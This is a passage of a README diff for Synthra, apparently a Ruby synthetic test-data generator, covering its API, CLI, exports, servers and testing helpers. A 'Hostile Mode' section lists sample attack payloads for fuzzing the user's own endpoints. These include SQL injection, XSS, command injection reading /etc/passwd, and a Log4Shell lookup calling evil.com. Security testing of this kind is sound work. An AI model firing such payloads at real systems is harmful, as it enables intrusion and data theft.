+ `address`, `city`, `country`, `country_code`, `postal_code`, `state`
295
+
296
+ ### Technology
297
+ `url`, `domain`, `ip`, `ipv6`, `mac_address`, `user_agent`
298
+
299
+ ### Finance
300
+ `money`, `currency`, `currency_code`, `iban`, `credit_card`
301
+
302
+ ### Complex
303
+ `array`, `object`, `Ref()`, `custom`
304
+
305
+ 📖 See [Type Reference Chart](tech_docs/appendices/type_chart.md) for all 50+ types.
306
+
307
+ ---
308
+
309
+ ## 🎭 Behaviors
310
+
311
+ Simulate real-world conditions:
312
+
313
+ | Behavior | Description | Example |
314
+ |----------|-------------|---------|
315
+ | `@latency` | Adds delay | `@latency 100..500ms` |
316
+ | `@failure` | Throws error | `@failure 5%` |
317
+ | `@partial_data` | Missing fields | `@partial_data 10%` |
318
+ | `@close_connection` | Connection drop | `@close_connection 2%` |
319
+ | `@simulate_error` | HTTP error | `@simulate_error 500` |
320
+
321
+ ```ruby
322
+ begin
323
+ data = schema.generate
324
+ rescue Synthra::Errors::SimulatedFailure
325
+ puts "Service unavailable"
326
+ rescue Synthra::Errors::SimulatedError => e
327
+ puts "HTTP #{e.status_code}"
328
+ end
329
+ ```
330
+
331
+ 📖 See [Behaviors Guide](tech_docs/behaviors/overview.md) for details.
332
+
333
+ ---
334
+
335
+ ## 📊 Generation Modes
336
+
337
+ | Mode | Purpose | Example |
338
+ |------|---------|---------|
339
+ | `:random` | Typical values (default) | `"John Smith"`, `34` |
340
+ | `:edge` | Boundary values | `""`, `0`, `max_value` |
341
+ | `:invalid` | Invalid data | `nil`, `"not_a_number"` |
342
+ | `:hostile` | Security attack payloads | SQL injection, XSS, buffer overflow |
343
+ | `:mixed` | Combination | 80% random, 15% edge, 5% invalid |
344
+
345
+ ```ruby
346
+ schema.generate(mode: :random) # Realistic data
347
+ schema.generate(mode: :edge) # Edge cases
348
+ schema.generate(mode: :invalid) # Invalid data
349
+ schema.generate(mode: :hostile) # Security testing
350
+ schema.generate(mode: :mixed) # Comprehensive testing
351
+ ```
352
+
353
+ 📖 See [Generation Modes](tech_docs/modes/overview.md) for details.
354
+
355
+ ---
356
+
357
+ ## 💎 Ruby API
358
+
359
+ ### Loading Schemas
360
+
361
+ ```ruby
362
+ # From file
363
+ schema = Synthra.load('schemas/user.dsl')
364
+
365
+ # From string
366
+ schema = Synthra.parse(<<~DSL)
367
+ User:
368
+ id: uuid
369
+ name: name
370
+ DSL
371
+
372
+ # Multiple schemas
373
+ registry = Synthra::Registry.new
374
+ registry.load_dir('schemas/')
375
+ user_schema = registry.schema('User')
376
+ ```
377
+
378
+ ### Generating Data
379
+
380
+ ```ruby
381
+ # Single record
382
+ data = schema.generate
383
+
384
+ # With options
385
+ data = schema.generate(
386
+ seed: 12345, # Reproducibility
387
+ mode: :edge, # Generation mode
388
+ registry: registry # For cross-references
389
+ )
390
+
391
+ # Multiple records
392
+ records = schema.generate_many(100)
393
+
394
+ # Streaming (memory-efficient)
395
+ schema.generate_stream(count: 1_000_000).each do |record|
396
+ process(record)
397
+ end
398
+ ```
399
+
400
+ ### Custom Types
401
+
402
+ ```ruby
403
+ Synthra.register_type(:ssn) do |rng, context, args, mode|
404
+ "#{rng.int(100, 999)}-#{rng.int(10, 99)}-#{rng.int(1000, 9999)}"
405
+ end
406
+ ```
407
+
408
+ ### Custom Functions
409
+
410
+ ```ruby
411
+ Synthra.register_function(:full_name) do |context|
412
+ "#{context['first_name']} #{context['last_name']}"
413
+ end
414
+ ```
415
+
416
+ 📖 See [API Reference](tech_docs/api/overview.md) for complete documentation.
417
+
418
+ ---
419
+
420
+ ## 📤 Export Formats
421
+
422
+ Synthra supports exporting schemas and generated data to multiple formats.
423
+
424
+ ### Schema Exports (Types/Structure)
425
+
426
+ | Format | Extension | Description |
427
+ |--------|-----------|-------------|
428
+ | `json-schema` | `.schema.json` | JSON Schema (draft 2020-12) |
429
+ | `typescript` / `ts` | `.ts` | TypeScript interfaces |
430
+ | `javascript` / `js` | `.js` | JavaScript with JSDoc |
431
+ | `python` / `pydantic` | `.py` | Python Pydantic models |
432
+ | `dataclass` | `.py` | Python dataclasses |
433
+ | `sql` / `sql-ddl` | `.sql` | SQL CREATE TABLE |
434
+ | `graphviz` / `dot` | `.dot` | GraphViz diagram |
435
+ | `graphql` / `gql` | `.graphql` | GraphQL SDL ⭐ NEW |
436
+
437
+ ### Data Exports (Generated Records)
438
+
439
+ | Format | Extension | Description |
440
+ |--------|-----------|-------------|
441
+ | `json` | `.json` | JSON array of records |
442
+ | `csv` | `.csv` | CSV with headers |
443
+ | `sql-insert` | `.sql` | SQL INSERT statements |
444
+ | `yaml` | `.yaml` | YAML format |
445
+ | `xml` | `.xml` | XML format |
446
+
447
+ ### Ruby API
448
+
449
+ ```ruby
450
+ # Schema exports
451
+ Synthra.to_typescript(schema)
452
+ Synthra.to_python(schema, style: :pydantic)
453
+ Synthra.to_json_schema(schema)
454
+ Synthra.to_sql(schema, dialect: :postgresql)
455
+ Synthra.to_graphql(schema) # NEW: GraphQL SDL
456
+
457
+ # Data exports
458
+ Synthra.to_json(schema, count: 100)
459
+ Synthra.to_csv(schema, count: 1000)
460
+ Synthra.to_sql_insert(schema, count: 100, dialect: :mysql)
461
+ Synthra.to_yaml(schema, count: 50)
462
+ Synthra.to_xml(schema, count: 20)
463
+
464
+ # Auto-file export
465
+ Synthra.export_to_file(:typescript, schema, output_dir: "./types")
466
+ # => "./types/user.ts"
467
+ ```
468
+
469
+ ### CLI Export Commands
470
+
471
+ ```bash
472
+ # Schema exports
473
+ synthra export User -d schemas -f typescript -o user.ts
474
+ synthra export User -d schemas -f python --style pydantic
475
+ synthra export User -d schemas -f json-schema
476
+ synthra export --all -d schemas -f typescript -o types.ts
477
+
478
+ # Data exports
479
+ synthra export User -d schemas -f json -c 100 -o users.json
480
+ synthra export User -d schemas -f csv -c 1000 -o users.csv
481
+ synthra export User -d schemas -f sql-insert -c 100 --dialect postgresql
482
+ synthra export User -d schemas -f yaml -c 50 -o users.yaml
483
+
484
+ # Auto-generate files
485
+ synthra export User -d schemas -f typescript --out-dir ./generated
486
+ synthra export User -d schemas -f python --out-dir ./models
487
+ ```
488
+
489
+ 📖 See [Export Guide](tech_docs/export/README.md) for complete documentation.
490
+
491
+ ---
492
+
493
+ ## ⚡ Native Rust Engine
494
+
495
+ For **maximum performance** (3-4 million records/sec), use the Native Rust Engine:
496
+
497
+ ### Quick Start
498
+
499
+ ```ruby
500
+ # Install and compile (one-time setup)
501
+ # 1. Install Rust: curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
502
+ # 2. gem install rb_sys
503
+ # 3. bundle exec rake compile
504
+
505
+ # Generate 10 million records in ~3 seconds
506
+ schema.generate_to_file(10_000_000, "users.jsonl")
507
+
508
+ # Or use engine: :native option
509
+ users = schema.generate_many(100_000, engine: :native, seed: 42)
510
+ ```
511
+
512
+ ### Thread Control
513
+
514
+ By default, uses **2 threads** to leave resources for other work:
515
+
516
+ ```ruby
517
+ # Default (2 threads)
518
+ schema.generate_to_file(10_000_000, "users.jsonl")
519
+
520
+ # Use 4 threads
521
+ schema.generate_to_file(10_000_000, "users.jsonl", threads: 4)
522
+
523
+ # Use all cores (fastest for single job)
524
+ schema.generate_to_file(10_000_000, "users.jsonl", threads: 0)
525
+ ```
526
+
527
+ ### Multi-Locale Support
528
+
529
+ ```ruby
530
+ # English (fast mode)
531
+ schema.generate_to_file(1_000_000, "users.jsonl", locale: "en")
532
+
533
+ # Japanese names
534
+ schema.generate_to_file(1_000_000, "users.jsonl", locale: "ja_jp")
535
+
536
+ # French names
537
+ schema.generate_to_file(1_000_000, "users.jsonl", locale: "fr_fr")
538
+ ```
539
+
540
+ ### Performance
541
+
542
+ | Records | Time | Rate |
543
+ |---------|------|------|
544
+ | 1M | 0.3s | ~3.5M/sec |
545
+ | 10M | 2.7s | ~3.7M/sec |
546
+ | Ruby (compare) | ~10 min | ~17K/sec |
547
+
548
+ 📖 See [Native Engine Guide](docs/NATIVE_ENGINE.md) for complete documentation.
549
+
550
+ ---
551
+
552
+ ## 🖥️ CLI Usage
553
+
554
+ ```bash
555
+ # Validate schema
556
+ synthra validate schemas/user.dsl
557
+
558
+ # Lint with strict mode (for CI)
559
+ synthra lint schemas/ --strict
560
+
561
+ # Preview single record
562
+ synthra preview User --dir schemas
563
+
564
+ # Generate data
565
+ synthra generate User --dir schemas --count 10
566
+
567
+ # With options
568
+ synthra generate User -d schemas -c 100 --seed 12345 --mode edge
569
+
570
+ # Output formats
571
+ synthra generate User -d schemas --pretty # Pretty JSON
572
+ synthra generate User -d schemas --ndjson # NDJSON
573
+
574
+ # Schema exports
575
+ synthra export User -d schemas -f json-schema
576
+ synthra export User -d schemas -f typescript -o user.ts
577
+ synthra export User -d schemas -f python --style pydantic
578
+ synthra export --all -d schemas -f typescript -o types.ts
579
+
580
+ # Data exports
581
+ synthra export User -d schemas -f json -c 100
582
+ synthra export User -d schemas -f csv -c 1000 -o users.csv
583
+ synthra export User -d schemas -f sql-insert -c 100 --dialect mysql
584
+
585
+ # Auto-generate files to directory
586
+ synthra export User -d schemas -f typescript --out-dir ./generated
587
+
588
+ # Visualize schema relationships
589
+ synthra graph schemas/ --output schema.dot --render
590
+
591
+ # Watch for changes (hot reload)
592
+ synthra watch schemas/
593
+
594
+ # Interactive REPL
595
+ synthra repl
596
+
597
+ # LSP Server (for IDE integration)
598
+ synthra lsp
599
+
600
+ # Schema info
601
+ synthra info schemas/ --verbose
602
+
603
+ # Compare schema versions
604
+ synthra diff schemas/v1/ schemas/v2/
605
+
606
+ # Check for breaking changes only (CI mode)
607
+ synthra diff schemas/v1/ schemas/v2/ --breaking-only
608
+
609
+ # Export to GraphQL (NEW)
610
+ synthra export User -d schemas -f graphql -o schema.graphql
611
+ synthra export --all -d schemas -f graphql -o schema.graphql
612
+ ```
613
+
614
+ 📖 See [CLI Guide](tech_example/04_cli_usage.md) for all options.
615
+
616
+ ---
617
+
618
+ ## 🔍 LSP Server (Language Server Protocol)
619
+
620
+ Synthra includes a full LSP server for IDE integration, providing:
621
+
622
+ - **Go to Definition** - Jump to schema definitions from `Ref(User.id)` references
623
+ - **Real-time Diagnostics** - See errors as you type with line/column numbers
624
+ - **Auto-completion** - Suggestions for types, behaviors, and schemas
625
+ - **Hover Documentation** - See type and behavior documentation on hover
626
+
627
+ ### Setup
628
+
629
+ 1. **Start the LSP server:**
630
+ ```bash
631
+ synthra lsp
632
+ ```
633
+
634
+ 2. **Configure your IDE** to connect to the LSP server (VS Code, Cursor, Neovim, etc.)
635
+
636
+ ### Features
637
+
638
+ - Works with any LSP-compatible editor
639
+ - Reuses existing parser and validator (no duplication)
640
+ - Provides diagnostics, completion, hover, and definition lookup
641
+ - Supports multi-file workspace schemas
642
+
643
+ 📖 See [LSP Integration Guide](docs/LSP.md) for detailed setup instructions.
644
+
645
+ ---
646
+
647
+ ## 🧪 Property-Based Testing
648
+
649
+ Synthra integrates seamlessly with RSpec for property-based testing:
650
+
651
+ ```ruby
652
+ require 'synthra'
653
+ include Synthra::PropertyTesting
654
+
655
+ RSpec.describe "User Registration" do
656
+ it "accepts all valid users" do
657
+ verify_property("User", count: 1000) do |user_data|
658
+ user = User.create(user_data)
659
+ expect(user).to be_valid
660
+ expect(user.save).to be_truthy
661
+ end
662
+ end
663
+
664
+ it "validates email format" do
665
+ verify_property("User", count: 100) do |user_data|
666
+ email = user_data["email"]
667
+ expect(email).to match(/\A[\w+\-.]+@[a-z\d\-]+(\.[a-z\d\-]+)*\.[a-z]+\z/i)
668
+ end
669
+ end
670
+ end
671
+ ```
672
+
673
+ ### Features
674
+
675
+ - `verify_property` - Verify properties hold for generated data
676
+ - `verify_property_stream` - Memory-efficient streaming verification
677
+ - `shrink_counterexample` - Shrink failing cases to minimal counterexamples
678
+ - Automatic RSpec integration when available
679
+
680
+ 📖 See [Property-Based Testing Guide](docs/PROPERTY_TESTING.md) for examples.
681
+
682
+ ---
683
+
684
+ ## 🐛 Enhanced REPL
685
+
686
+ The interactive REPL now includes visual inspection and debugging:
687
+
688
+ ```bash
689
+ synthra repl
690
+
691
+ # In REPL:
692
+ > load schemas/
693
+ ✅ Loaded 3 schema(s)
694
+
695
+ > table User # Table view
696
+ ────────────────────┼───────────────────────────────
697
+ id │ "550e8400-e29b-41d4-a716-..."
698
+ name │ "John Doe"
699
+ email │ "john.doe@example.com"
700
+
701
+ > debug User # Step-through debugging
702
+ 🐛 Debug Mode: Generating User
703
+ Press Enter to continue after each field...
704
+
705
+ [Field 1] id
706
+ ────────────────────────────────────────────────────────
707
+ Value: "550e8400-e29b-41d4-a716-446655440000"
708
+
709
+ Context State:
710
+ Depth: 0
711
+ Registry: available
712
+ Generated Fields:
713
+ (none yet)
714
+
715
+ Press Enter to continue, 'q' to quit, 'c' to continue:
716
+
717
+ > inspect User # Detailed inspection
718
+ 📊 Generated Record:
719
+ ============================================================
720
+ ────────────────────┼───────────────────────────────
721
+ id │ "550e8400-e29b-41d4-a716-..."
722
+ ...
723
+ 📋 JSON Format:
724
+ { "id": "...", ... }
725
+ 📏 Statistics:
726
+ Fields: 5
727
+ Total size: 234 bytes
728
+ ```
729
+
730
+ ### Commands
731
+
732
+ - `table <Schema>` - Display records in formatted table view
733
+ - `debug <Schema>` - Step-through debugging with context inspection
734
+ - `inspect <Schema>` - Detailed inspection with table + JSON + statistics
735
+ - `gen <Schema>` - Generate records (JSON format)
736
+ - `load <path>` - Load schemas from file/directory
737
+ - `list` - List loaded schemas
738
+ - `info <Schema>` - Show schema details
739
+
740
+ ---
741
+
742
+ ## 🔐 Security Fuzzing (Hostile Mode)
743
+
744
+ Generate security attack payloads for testing API endpoints:
745
+
746
+ ```ruby
747
+ # Generate hostile data
748
+ schema.generate(mode: :hostile)
749
+
750
+ # CLI
751
+ synthra generate User --mode hostile
752
+ ```
753
+
754
+ ### Attack Vectors
755
+
756
+ - **SQL Injection** - `' OR '1'='1`, `'; DROP TABLE users;--`
757
+ - **XSS** - `<script>alert(1)</script>`, `<img src=x onerror=alert(1)>`
758
+ - **Buffer Overflow** - 1KB, 10KB, 100KB, 64KB strings
759
+ - **Unicode Attacks** - RTL override, Zalgo text, null bytes
760
+ - **Path Traversal** - `../../../etc/passwd`
761
+ - **Command Injection** - `; ls -la`, `| cat /etc/passwd`
762
+ - **LDAP Injection** - `*)(uid=*))(|(uid=*`
763
+ - **XXE Injection** - XML external entity attacks
764
+ - **Log4Shell** - `${jndi:ldap://evil.com/a}`
765
+
766
+ ### Use Case
767
+
768
+ Perfect for security testing of API endpoints that consume generated data:
769
+
770
+ ```ruby
771
+ # Test API endpoint with hostile inputs
772
+ hostile_data = schema.generate_many(1000, mode: :hostile)
773
+ hostile_data.each do |payload|
774
+ response = post("/api/users", payload)
775
+ expect(response.status).to eq(400) # Should reject hostile input
776
+ end
777
+ ```
778
+
779
+ 📖 See [Security Testing Guide](docs/SECURITY_TESTING.md) for examples.
780
+
781
+ ---
782
+
783
+ ## 🏭 Factory Bot Integration
784
+
785
+ Bridge between Synthra and Factory Bot for seamless test data:
786
+
787
+ ```ruby
788
+ # Define a factory using a Synthra schema
789
+ Synthra.define_factory(:user, schema: "User") do
790
+ trait(:admin) do
791
+ role { "admin" }
792
+ end
793
+
794
+ trait(:with_address) do
795
+ address { Synthra.generate("Address") }
796
+ end
797
+ end
798
+
799
+ # Use in tests
800
+ create(:user) # Standard user
801
+ create(:user, :admin) # Admin user
802
+ create(:user, :admin, :with_address) # Admin with address
803
+ create(:user, name: "Custom Name") # Override fields
804
+ ```
805
+
806
+ ### RSpec Helpers
807
+
808
+ ```ruby
809
+ # In spec_helper.rb
810
+ RSpec.configure do |config|
811
+ config.include Synthra::FactoryBotIntegration::RSpec
812
+ end
813
+
814
+ # In tests
815
+ describe "User Registration" do
816
+ it "creates a valid user" do
817
+ user_data = fake_data_build(:user)
818
+ # or: user_data = build_fake_data(:user)
819
+
820
+ expect(User.create(user_data)).to be_valid
821
+ end
822
+ end
823
+ ```
824
+
825
+ 📖 See [Factory Bot Integration Guide](docs/FACTORY_BOT.md) for more examples.
826
+
827
+ ---
828
+
829
+ ## 📸 Snapshot Testing
830
+
831
+ Detect unintended schema changes with snapshot testing:
832
+
833
+ ```ruby
834
+ require 'synthra/snapshot_testing'
835
+
836
+ RSpec.describe "Schema Snapshots" do
837
+ include Synthra::SnapshotTesting
838
+
839
+ # Test individual schema
840
+ it "User generates stable output" do
841
+ schema = Synthra.load("schemas/user.dsl")
842
+ expect_snapshot(schema, seed: 42)
843
+ end
844
+
845
+ # Test all schemas
846
+ Synthra.each_schema do |schema|
847
+ it "#{schema.name} generates stable output" do
848
+ expect(schema.generate(seed: 42)).to match_snapshot(schema.name)
849
+ end
850
+ end
851
+ end
852
+ ```
853
+
854
+ ### Generate/Verify All Snapshots
855
+
856
+ ```ruby
857
+ # Generate all snapshots
858
+ Synthra::SnapshotTesting.generate_all_snapshots(registry, seed: 42)
859
+
860
+ # Verify all snapshots match
861
+ mismatches = Synthra::SnapshotTesting.verify_all_snapshots(registry, seed: 42)
862
+ puts "Mismatched schemas: #{mismatches}" if mismatches.any?
863
+ ```
864
+
865
+ 📖 See [Snapshot Testing Guide](docs/SNAPSHOT_TESTING.md) for CI integration.
866
+
867
+ ---
868
+
869
+ ## ⚖️ Breaking Changes Diff
870
+
871
+ Detect breaking schema changes in CI pipelines:
872
+
873
+ ```bash
874
+ # Compare two schema directories
875
+ synthra diff schemas/v1/ schemas/v2/
876
+
877
+ # Show only breaking changes (CI mode)
878
+ synthra diff schemas/v1/ schemas/v2/ --breaking-only
879
+
880
+ # Exit codes:
881
+ # 0 = No breaking changes
882
+ # 1 = Breaking changes detected (fails CI)
883
+ ```
884
+
885
+ ### What's Detected as Breaking
886
+
887
+ | Change | Breaking? | Description |
888
+ |--------|-----------|-------------|
889
+ | Schema removed | ✅ Yes | Schema no longer exists |
890
+ | Field removed | ✅ Yes | Field was deleted |
891
+ | Type changed | ✅ Yes | `number` → `text` |
892
+ | Optional → Required | ✅ Yes | Field now mandatory |
893
+ | Field added | ❌ No | Backwards compatible |
894
+ | Required → Optional | ❌ No | Backwards compatible |
895
+
896
+ ### CI Integration Example
897
+
898
+ ```yaml
899
+ # .github/workflows/schema-check.yml
900
+ - name: Check for breaking changes
901
+ run: |
902
+ synthra diff schemas/main/ schemas/pr/ --breaking-only
903
+ ```
904
+
905
+ ---
906
+
907
+ ## 📄 Configuration File
908
+
909
+ Configure Synthra with YAML config files (Rails convention):
910
+
911
+ ### File Locations (searched in order)
912
+
913
+ 1. `config/synthra.yml`
914
+ 2. `synthra.yml`
915
+ 3. `.synthra.yml`
916
+
917
+ ### Example Configuration
918
+
919
+ ```yaml
920
+ # config/synthra.yml
921
+ default_mode: random
922
+ max_unique_retries: 1000
923
+
924
+ limits:
925
+ max_array_size: 100
926
+ max_recursion: 5
927
+ max_text_length: 10000
928
+
929
+ # Environment-specific overrides
930
+ test:
931
+ default_mode: edge # Use edge cases in tests
932
+
933
+ development:
934
+ default_mode: random
935
+
936
+ production:
937
+ fast_mode: true # Use faster generation
938
+ ```
939
+
940
+ ### Manual Loading
941
+
942
+ ```ruby
943
+ # Load from custom path
944
+ Synthra::ConfigFile.load_and_apply("custom/path.yml")
945
+
946
+ # Load with specific environment
947
+ Synthra::ConfigFile.load_and_apply("config.yml", env: "staging")
948
+ ```
949
+
950
+ 📖 See [Config File Guide](docs/CONFIG_FILE.md) for all options.
951
+
952
+ ---
953
+
954
+ ## 🧪 Rails Test Helper
955
+
956
+ Seamless Rails test integration with `generate_for_test`:
957
+
958
+ ```ruby
959
+ # test/test_helper.rb
960
+ require 'synthra/rails_test_helper'
961
+
962
+ class ActiveSupport::TestCase
963
+ include Synthra::RailsTestHelper
964
+ end
965
+
966
+ # In your tests
967
+ class UserTest < ActiveSupport::TestCase
968
+ test "validates email format" do
969
+ user = generate_for_test(User)
970
+ assert user.valid?
971
+ end
972
+
973
+ test "with overrides" do
974
+ user = generate_for_test(User, :valid, email: "test@example.com")
975
+ assert_equal "test@example.com", user.email
976
+ end
977
+
978
+ test "generate multiple" do
979
+ users = generate_many_for_test(User, 10)
980
+ assert_equal 10, users.length
981
+ end
982
+ end
983
+ ```
984
+
985
+ ---
986
+
987
+ ## 🧩 Schema Mixins
988
+
989
+ Reusable field sets with pre-built common patterns:
990
+
991
+ ```ruby
992
+ # Pre-registered mixins
993
+ Synthra::CommonMixins.register_all!
994
+
995
+ # Available mixins:
996
+ # - Timestamps: created_at, updated_at
997
+ # - SoftDelete: deleted_at
998
+ # - Auditable: created_by, updated_by
999
+ # - Sluggable: slug
1000
+ # - Publishable: published_at, published
1001
+ ```
1002
+
1003
+ ---
1004
+
1005
+ ## 📥 OpenAPI Import
1006
+
1007
+ Convert OpenAPI/Swagger specs to DSL schemas:
1008
+
1009
+ ```bash
1010
+ # Import from OpenAPI
1011
+ synthra import openapi.yaml --output schemas/
1012
+
1013
+ # Also supports JSON
1014
+ synthra import api-spec.json --output schemas/
1015
+ ```
1016
+
1017
+ ```ruby
1018
+ # Ruby API
1019
+ importer = Synthra::OpenAPIImporter.new("openapi.yaml")
1020
+ schemas = importer.import_to_directory("schemas/")
1021
+ # Creates user.dsl, product.dsl, etc.
1022
+ ```
1023
+
1024
+ ---
1025
+
1026
+ ## 🖥️ Live Preview Server
1027
+
1028
+ Web UI with hot reload for interactive development:
1029
+
1030
+ ```bash
1031
+ # Start live preview server
1032
+ synthra live schemas/ --port 4567
1033
+
1034
+ # Opens http://localhost:4567 with:
1035
+ # - Schema list sidebar
1036
+ # - Generation mode selector (random/edge/invalid/hostile)
1037
+ # - Count and seed controls
1038
+ # - Real-time JSON preview
1039
+ # - Hot reload on schema changes
1040
+ ```
1041
+
1042
+ ---
1043
+
1044
+ ## 📖 Documentation Generator
1045
+
1046
+ Generate beautiful HTML documentation:
1047
+
1048
+ ```bash
1049
+ # Generate docs
1050
+ synthra docs schemas/ --output docs/
1051
+
1052
+ # With custom title
1053
+ synthra docs schemas/ --output docs/ --title "My API Schemas"
1054
+ ```
1055
+
1056
+ Creates:
1057
+ - `index.html` - Schema listing with statistics
1058
+ - `{schema}.html` - Individual schema pages with:
1059
+ - Field table (name, type, required, nullable)
1060
+ - Sample data (random and edge modes)
1061
+
1062
+ ---
1063
+
1064
+ ## 🔢 Deterministic IDs
1065
+
1066
+ Generate stable, reproducible IDs:
1067
+
1068
+ ```ruby
1069
+ # Deterministic UUIDs
1070
+ Synthra::DeterministicIds.uuid(variant: "user", index: 0, seed: 42)
1071
+ # => "f47ac10b-58cc-4372-a567-0e02b2c3d479" (always the same)
1072
+
1073
+ # Short IDs (like YouTube)
1074
+ Synthra::DeterministicIds.short_id(variant: "video", index: 0)
1075
+ # => "dQw4w9WgXcQ"
1076
+
1077
+ # Integer IDs
1078
+ Synthra::DeterministicIds.integer(variant: "order", max: 1_000_000)
1079
+
1080
+ # URL slugs
1081
+ Synthra::DeterministicIds.slug(words: 3)
1082
+ # => "alpha-baker-charlie"
1083
+
1084
+ # Batch generation
1085
+ Synthra::DeterministicIds.batch(100, type: :uuid, variant: "user")
1086
+ ```
1087
+
1088
+ ---
1089
+
1090
+ ## 🌱 Database Seeder
1091
+
1092
+ FK-aware database seeding:
1093
+
1094
+ ```ruby
1095
+ Synthra.seed_database(truncate: true) do
1096
+ create User, count: 100
1097
+ create Order, count: 500 # Links to Users automatically
1098
+ create OrderItem, count: 2000 # Links to Orders automatically
1099
+ end
1100
+ ```
1101
+
1102
+ ---
1103
+
1104
+ ## 📊 Schema Versioning
1105
+
1106
+ Track schema versions and migrations:
1107
+
1108
+ ```ruby
1109
+ # Parse versioned schema names
1110
+ Synthra::SchemaVersioning.parse_version("User@v2")
1111
+ # => { name: "User", version: "v2" }
1112
+
1113
+ # Register migrations
1114
+ Synthra::SchemaVersioning::Registry.register(
1115
+ from: "User@v1",
1116
+ to: "User@v2",
1117
+ changes: { added: ["avatar"], removed: ["legacy_field"] }
1118
+ )
1119
+
1120
+ # Find migration path
1121
+ Synthra::SchemaVersioning::Registry.migration_path("User@v1", "User@v3")
1122
+ # => [["User@v1", "User@v2"], ["User@v2", "User@v3"]]
1123
+ ```
1124
+
1125
+ ---
1126
+
1127
+ ```ruby
1128
+ Synthra.configure do |config|
1129
+ # Default generation mode
1130
+ config.default_mode = :random
1131
+
1132
+ # Resource limits
1133
+ config.limits.max_latency_ms = 10_000
1134
+ config.limits.max_recursion = 10
1135
+ config.limits.max_array_size = 1000
1136
+ config.limits.max_text_length = 10_000
1137
+ end
1138
+ ```
1139
+
1140
+ ---
1141
+
1142
+ ## 🚀 Production API Server
1143
+
1144
+ Production-ready REST API for data generation - use it as **the core of your data platform**:
1145
+
1146
+ ```bash
1147
+ # Start the API server
1148
+ synthra server schemas/ --port 3000
1149
+
1150
+ # With authentication and rate limiting
1151
+ synthra server schemas/ --port 3000 --api-key secret123 --rate-limit 100
1152
+
1153
+ # Production mode
1154
+ synthra server schemas/ --port 3000 --env production
1155
+ ```
1156
+
1157
+ ### API Endpoints
1158
+
1159
+ | Endpoint | Description |
1160
+ |----------|-------------|
1161
+ | `GET /api/schemas` | List all available schemas |
1162
+ | `GET /api/:schema` | Generate a single record |
1163
+ | `GET /api/:schema/batch?count=100` | Generate multiple records |
1164
+ | `GET /api/:schema/stream` | Stream records (NDJSON) |
1165
+ | `POST /api/:schema` | Generate with overrides |
1166
+ | `GET /api/:schema/openapi` | OpenAPI spec for schema |
1167
+ | `GET /api/:schema/protobuf` | Protobuf definition |
1168
+ | `GET /metrics` | Server metrics |
1169
+
1170
+ ### Ruby API
1171
+
1172
+ ```ruby
1173
+ # Start server programmatically
1174
+ Synthra::APIServer.start(
1175
+ schema_dir: "schemas/",
1176
+ port: 3000,
1177
+ auth: { type: :api_key, keys: ["secret123"] },
1178
+ rate_limit: 100, # requests per minute
1179
+ enable_caching: true
1180
+ )
1181
+
1182
+ # Use as Rack middleware
1183
+ # config.ru
1184
+ run Synthra::APIServer.rack_app(schema_dir: "schemas/")
1185
+ ```
1186
+
1187
+ ---
1188
+
1189
+ ## 📡 gRPC/Protobuf Export
1190
+
1191
+ Generate Protocol Buffer definitions for microservices:
1192
+
1193
+ ```bash
1194
+ # Export single schema
1195
+ synthra export User -d schemas/ -f protobuf -o user.proto
1196
+
1197
+ # Export all schemas
1198
+ synthra export --all -d schemas/ -f protobuf -o all.proto
1199
+ ```
1200
+
1201
+ ### Generated Proto File
1202
+
1203
+ ```protobuf
1204
+ syntax = "proto3";
1205
+
1206
+ package generated;
1207
+
1208
+ message User {
1209
+ string id = 1;
1210
+ string name = 2;
1211
+ string email = 3;
1212
+ int64 age = 4;
1213
+ bool active = 5;
1214
+ UserRole role = 6;
1215
+ }
1216
+
1217
+ enum UserRole {
1218
+ USERROLE_UNSPECIFIED = 0;
1219
+ USERROLE_ADMIN = 1;
1220
+ USERROLE_USER = 2;
1221
+ }
1222
+
1223
+ service UserService {
1224
+ rpc GetUser(GetUserRequest) returns (User);
1225
+ rpc GenerateUser(GenerateUserRequest) returns (User);
1226
+ rpc GenerateManyUsers(GenerateManyUsersRequest) returns (stream User);
1227
+ }
1228
+ ```
1229
+
1230
+ ---
1231
+
1232
+ ## 📋 OpenAPI Export
1233
+
1234
+ Export schemas to OpenAPI 3.0 specifications:
1235
+
1236
+ ```bash
1237
+ # Export as YAML
1238
+ synthra export --all -d schemas/ -f openapi -o api.yaml
1239
+
1240
+ # Export as JSON
1241
+ synthra export --all -d schemas/ -f openapi -o api.json
1242
+ ```
1243
+
1244
+ ### Ruby API
1245
+
1246
+ ```ruby
1247
+ exporter = Synthra::Export::OpenAPI.new(registry,
1248
+ title: "My Data API",
1249
+ version: "1.0.0",
1250
+ server_url: "https://api.example.com"
1251
+ )
1252
+
1253
+ # Export as YAML
1254
+ spec_yaml = exporter.export
1255
+
1256
+ # Export as JSON
1257
+ spec_json = exporter.export_as(:json)
1258
+ ```
1259
+
1260
+ ---
1261
+
1262
+ ## 🎬 Mock Server
1263
+
1264
+ Production-ready mock server with API recording:
1265
+
1266
+ ```ruby
1267
+ # Start mock server
1268
+ Synthra::MockServer.start(
1269
+ schema_dir: "schemas/",
1270
+ port: 3000,
1271
+ recording: true, # Enable recording
1272
+ recordings_dir: "mocks/", # Save recordings here
1273
+ cors: true,
1274
+ default_mode: :random
1275
+ )
1276
+ ```
1277
+
1278
+ ### Recording & Replay
1279
+
1280
+ ```bash
1281
+ # Record a real API response
1282
+ curl -X POST http://localhost:3000/api/recordings/user_list \
1283
+ -H "Content-Type: application/json" \
1284
+ -d '{"data": [{"id": 1, "name": "Real User"}]}'
1285
+
1286
+ # Replay the recording
1287
+ curl http://localhost:3000/api/recordings/user_list
1288
+ ```
1289
+
1290
+ ---
1291
+
1292
+ ## 📜 Data Contracts Registry
1293
+
1294
+ Version and publish schemas centrally for team coordination:
1295
+
1296
+ ```bash
1297
+ # Publish a schema version
1298
+ synthra contracts publish User -v 1.0.0 -s schemas/ -m "Initial release"
1299
+
1300
+ # Deprecate a version
1301
+ synthra contracts deprecate User -v 1.0.0 --sunset 2026-06-01
1302
+
1303
+ # List all contracts
1304
+ synthra contracts list
1305
+
1306
+ # Check compatibility between versions
1307
+ synthra contracts diff User 1.0.0 2.0.0
1308
+ ```
1309
+
1310
+ ### Ruby API
1311
+
1312
+ ```ruby
1313
+ registry = Synthra::ContractsRegistry.new("contracts/")
1314
+
1315
+ # Publish
1316
+ registry.publish("User", version: "1.0.0", schema: schema, changelog: "Initial")
1317
+
1318
+ # Deprecate
1319
+ registry.deprecate("User", version: "1.0.0", sunset_date: Date.new(2026, 6, 1))
1320
+
1321
+ # Check compatibility
